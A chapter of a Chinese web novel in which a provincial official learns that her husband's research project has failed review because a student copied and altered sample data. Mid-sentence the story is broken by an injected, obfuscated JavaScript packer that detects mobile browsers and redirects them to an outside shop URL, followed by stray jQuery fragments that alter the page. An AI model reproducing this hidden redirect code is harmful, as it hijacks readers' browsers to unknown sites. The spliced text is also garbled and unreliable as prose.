周五清晨六点十分，天还没完全亮透。


    林墨被厨房传来的轻微响动惊醒——是周致远在做早餐。她看了看身边熟睡的乐乐，孩子的小脸红扑扑的，一只小手露在被子外面。她轻轻把那只小手塞回被窝，披上外套走出卧室。


    厨房的灯亮着，周致远背对着她站在灶台前，锅里煮着小米粥，香气在狭小的空间里弥漫。他的背影在晨光中显得有些单薄，肩膀微微下垂。


    “起这么早？”林墨轻声问。


    周致远转过头，眼睛里布满红血丝：“睡不着。煮点粥，你上午不是还要去单位吗？”


    “嗯，秦处长说有些后续材料要整理。”林墨走进厨房，接过他手里的勺子，“我来吧，你再去躺会儿。”


    “不用。”周致远没有松手，反而握得更紧了些，“我做就好。”


    两人僵持了几秒，林墨松开了手。她注意到周致远的左手食指上贴着一块创可贴，边缘已经有些磨损。


    “手怎么了？”


    “昨天整理资料时被纸划了一下。”周致远说得轻描淡写，但林墨看见他眼底闪过一丝慌乱。


    这不是他的风格。周致远做学术向来严谨细致，连参考文献的标点符号都要核对三遍，怎么可能被纸划伤？


    但林墨没有追问。她转身从冰箱里拿出鸡蛋，准备做煎蛋。厨房里只剩下粥在锅里咕嘟的声音，还有抽油烟机低沉的嗡鸣。


    七点，乐乐醒了。孩子穿着睡衣跑到厨房，抱住林墨的腿：“妈妈，今天你去上班吗？”


    “去。”林墨蹲下身，理了理女儿睡乱的头发，“下午妈妈早点回来，带你去买下周住院要用的东西，好不好？”


    “好！”乐乐的眼睛亮起来，“我要带小兔子去医院！”


    “嗯，带上。”


    早餐桌上很安静。小米粥熬得稠稠的，煎蛋金黄，还有一小碟榨菜。周致远吃得很少，一碗粥只喝了半碗，就放下勺子。


    “你今天有课吗？”林墨问。


    “上午两节，下午……要去一趟科技厅。”周致远的语气有些迟疑，“我的那个省社科基金项目，快要结题了，有些材料需要补交。”


    林墨点点头。她知道那个项目对周致远很重要——这是他评教授的关键成果，已经做了三年，今年年底必须结题。半年前，周致远还经常在书房熬夜整理数据，但这几个月，他几乎把所有空闲时间都用来帮她分析幸福家园的数据、构建理论模型。


    她想起那些深夜，周致远在书房对着电脑屏幕，一边帮她整理居民参与度的变化曲线，一边还要赶自己的论文进度。有时候她半夜醒来，书房的灯还亮着。


    “项目进展顺利吗？”她问。


    “还行。”周致远避开了她的目光，起身收拾碗筷，“我去送乐乐上幼儿园，你慢慢吃。”


    上午八点半，林墨走进省发改委大楼。


    电梯里遇见了几个同事，大家都对她点头微笑，但笑容里有些说不清道不明的东西。是同情？是惋惜？还是别的什么？林墨分辨不出。


    综合一处办公室里很安静。刘大姐正在泡茶，看见林墨进来，欲言又止。张弛的工位空着——秦处长昨天说让他下周一才开始正式筹备技术支持小组，今天应该是去交接原来的工作了。


    林墨在自己的工位坐下，打开电脑。邮箱里有十几封新邮件，大多是日常工作流转。她一封封点开，机械地处理着。十点半，秦处长发来消息：“来我办公室一下。”


    处长办公室在走廊尽头。林墨敲门进去时，秦处长正在接电话。她示意林墨坐下，继续对着话筒说：“……材料已经准备好了，下午我让小林送过去。对，就是之前说的那些。”


    挂断电话，秦处长从抽屉里拿出一个文件袋：“这是赵小曼事件的情况说明材料，要送到省委政研室备案。下午你跑一趟。”


    林墨接过文件袋，很轻，但她觉得有千斤重。


    “另外，”秦处长看着她，“下周三乐乐手术，你的假我已经批了。从周二下午到周四，三天。够吗？”


    “够了，谢谢秦处长。”


    “不用谢。”秦处长停顿了一下，“这段时间，你……调整一下状态。项目虽然暂停了，但工作还要继续。综合一处马上要开始筹备明年的全省社区治理工作会议，你参与一下会务工作吧。”


    从核心项目参与者到会务工作人员。这个转变的意味，林墨懂。她点点头：“好的。”


    回到工位，她看着那个文件袋。透明的塑料窗口能看到里面的文件标题——《关于省级基层治理创新评选相关情况的说明》。她想起赵小曼昨天离开会议室时的背影，想起那些被修饰过的数据，想起张弛颤抖的声音。


    手机震动，是周致远发来的消息：“科技厅这边有点状况，我晚点回去。你去接乐乐吧。”


    消息很简短，但林墨感到不安。周致远平时不会用“状况”这个词，他习惯说“有点事”或“需要处理一下”。


    她回复：“好。什么状况？”


    消息石沉大海。


    下午三点，省委大院。


    林墨拿着文件袋走进政研室大楼，按照指示找到三楼的综合处。接待她的是个年轻干部，接过文件袋时扫了她一眼：“你就是林墨？”


    “是。”


    “哦。”年轻干部点点头，没有多说，但眼神里有什么东西一闪而过。


    走出大楼时，林墨在院子里遇到了一个人——徐海研究员。他正从另一栋楼里出来，手里抱着一摞资料。


    “小林同志？”徐海看见她，停下脚步，“巧了，我正想联系你。”


    “徐老师好。”


    “关于把你的案例纳入研究课题的事，我起草了一个初步方案。”徐海从资料里抽出一份文件，“你看一下，如果没问题，我们可以签个合作备忘录。这不涉及官方推广，纯学术研究，应该没问题。”


    林墨接过文件。很薄，只有三页纸，但标题让她心头一热——《参与式社区治理的实践逻辑与机制创新：基于幸福家园案例的深度研究》。


    “谢谢徐老师。”


    “不用谢，是你自己的实践有价值。”徐海看着她，目光温和，“对了，我听说……你爱人周致远副教授，最近遇到点麻烦？”


    林墨的心一紧：“什么麻烦？”


    “他的省社科基金项目，结题材料好像出了点问题。”徐海压低了声音，“我也是刚听科技厅的朋友说的，好像是什么数据校验没过。具体我不清楚，你可以问问他。”


    林墨感到一阵眩晕。她想起周致远早上躲闪的眼神，想起他手上的创可贴，想起那条简短的消息。


    “谢谢徐老师，我先走了。”


    “好，保持联系。”


    下午四点半，幼儿园门口。


    乐乐看见林墨，像只小鸟一样飞扑过来：“妈妈！”


    林墨抱起女儿，闻到她头发上阳光和奶香混合的味道。这一刻，她突然很想哭。


    “妈妈，我们去买东西吗？”


    “去。”林墨努力微笑，“去买住院要用的东西。”


    她们去了医院附近的一家超市。林墨推着购物车，乐乐坐在车里，指挥着方向：“要那个粉色的小毛巾！还要那个有兔子的水杯！”


    购物车渐渐满了：小毛巾、水杯、拖鞋、湿巾、乐乐最喜欢的绘本，还有一包水果软糖——这是周致远交代的，说手术后如果嗓子疼，可以含一颗。


    结账时，林墨的手机响了。是周致远。


    “我在医院。”他的声音沙哑得厉害，“科技厅的项目审核没通过……数据有问题。”


    “什么问题？”


    “核心样本的抽样方法不符合规范，有一个对照组的数据……录入时出错了。”周致远的声音在颤抖，“我检查了三遍都没发现，直到今天系统自动校验才报警。现在项目要延期整改，年底前如果改不完，就……就废了。”


    林墨握紧手机：“你在哪个医院？”


    “不是看病，是……”周致远停顿了很久，“我在医院对面的咖啡馆。坐一会儿。”


    “我过来找你。”


    挂断电话，林墨蹲下身看着乐乐：“宝贝，爸爸在等我们，我们先去找爸爸，好吗？”


    “好！”


    咖啡馆在暮色中亮着暖黄色的灯。林墨推门进去时，看见周致远坐在最里面的角落，面前放着一杯已经凉透的咖啡。他没有喝，只是盯着杯子，像在盯着某个看不见的深渊。


    乐乐跑过去：“爸爸！”


    周致远抬起头，努力想挤出笑容，但那个笑容比哭还难看。他抱起女儿，把脸埋在孩子小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965888|193373||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小的肩膀上。


    林墨在他对面坐下。桌上的手机屏幕亮着，是一封邮件，发件人是“省科技厅项目办”，标题是“关于省社科基金项目(编号：XXXXX)数据问题的整改通知”。


    “什么时候发现的？”林墨轻声问。


    “昨天下午。”周致远的声音闷闷的，“但我不敢告诉你。我想今天去科技厅解释一下，也许……也许还有挽回的余地。”


    “然后呢？”


    “没有余地。”周致远抬起头，眼睛里布满血丝，“数据问题是硬伤。抽样方法不符合项目申报时的设计，这是原则性问题。而且……而且错误的数据已经用在两篇已发表的论文里了。”


    林墨倒吸一口凉气。学术不端——这是最严重的指控。


    “怎么会这样？”她问，“你一向最仔细的。”


    周致远沉默了很久，久到乐乐都开始不安地扭动身体。他放下孩子，从包里拿出一叠打印纸：“这半年，我帮你分析幸福家园的数据，做理论模型，写分析报告……花了太多时间。我自己的项目，都是碎片时间里赶出来的。抽样是让研究生做的，我……我没有亲自去现场核对。”


    他翻到一页，指着上面的表格：“这个对照组，原本应该从三个社区抽样，但因为时间紧，学生只去了两个社区。数据录入时，为了凑足样本量，他……他复制了一部分数据，修改了几个变量。”


    “你当时没发现？”


    “我看了，但没仔细看。”周致远的声音越来越低，“那段时间你正在准备省级评审，每天压力都很大，晚上睡不着。我想帮你分担一点，就……就把自己的事往后放了。”


    林墨看着眼前这个男人。这个曾经理性到近乎冷酷的学者，这个半年前还无法理解她为何要为“区区一个社区项目”拼尽全力的丈夫，现在因为他想帮她，而毁掉了自己三年的心血。


    “职称评审……是不是没希望了？”她问。


    “如果项目废了，是的。”周致远苦笑，“而且那两篇论文可能要撤稿。学术声誉……也毁了。”


    乐乐似乎感觉到气氛不对，安静地坐在爸爸腿上，小手轻轻摸着他的脸。


    窗外，天色完全暗了下来。路灯一盏盏亮起，车流像一条发光的河。


    “对不起。”周致远突然说，“我本来想帮你，结果……结果成了你的拖累。”


    “没有。”林墨握住他的手，“你从来没有拖累我。这半年，如果没有你，我走不到今天。”


    “可是现在……”


    “现在我们一起想办法。”林墨的声音很坚定，“项目要整改，我们就整改。数据要重做，我们就重做。还有三个月，来得及。”


    “可是你的项目也被叫停了，你还有自己的工作……”


    “我的项目只是暂停，不是终止。”林墨看着他，“而且秦处长给我安排了新工作，时间上可以调整。从下周开始，我每天下午四点下班，接乐乐，做饭。晚上你专心做你的项目，我陪孩子。”


    周致远愣住了：“可是你……”


    “我这半年，把所有时间都给了工作，给了项目，给了那些需要帮助的人。”林墨的眼泪掉下来，“可我忘了，最需要我的人，就在身边。我的丈夫，我的女儿，还有我自己。”


    她擦掉眼泪，微笑：“现在，该回来了。”


    乐乐看看妈妈，又看看爸爸，伸出两只小手，一手拉着一个：“爸爸妈妈不哭，我们回家。”


    周致远紧紧抱住女儿，把脸埋在孩子小小的怀抱里。林墨看见他的肩膀在颤抖，但没有声音。


    她知道，这个男人在哭。


    这个理性了一辈子的学者，这个曾经认为数据可以解释一切的教授，此刻在五岁女儿的怀抱里，哭得像个孩子。


    因为爱，从来不是数据可以衡量的。


    因为付出，从来不是天平可以称量的。


    他们都在自己的领域里拼命奔跑，却忘了看一看身边的人是否跟得上。现在，天平倾斜了，但他们还有机会——一起扶正它的机会。


    回家的路上，周致远一直紧紧握着林墨的手。他的手很凉，但握得很紧。


    路灯把三个人的影子拉得很长，很长。


    前方，家的窗户亮着灯。


    那是黑暗里，唯一确定的方向。